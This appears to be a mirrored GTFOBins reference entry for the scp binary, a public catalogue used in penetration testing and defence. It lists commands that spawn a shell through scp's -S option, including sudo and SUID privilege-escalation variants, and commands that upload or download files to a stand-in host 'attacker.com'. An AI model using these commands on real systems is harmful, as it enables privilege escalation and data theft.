mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
34 lines
776 B
Markdown
34 lines
776 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'sh 0<&2 1>&2' > $TF
|
|
chmod +x "$TF"
|
|
scp -S $TF x y:
|
|
file-upload:
|
|
- description: Send local file to a SSH server.
|
|
code: |
|
|
RPATH=user@attacker.com:~/file_to_save
|
|
LPATH=file_to_send
|
|
scp $LFILE $RPATH
|
|
file-download:
|
|
- description: Fetch a remote file from a SSH server.
|
|
code: |
|
|
RPATH=user@attacker.com:~/file_to_get
|
|
LFILE=file_to_save
|
|
scp $RPATH $LFILE
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'sh 0<&2 1>&2' > $TF
|
|
chmod +x "$TF"
|
|
sudo scp -S $TF x y:
|
|
limited-suid:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'sh 0<&2 1>&2' > $TF
|
|
chmod +x "$TF"
|
|
./scp -S $TF a b:
|
|
---
|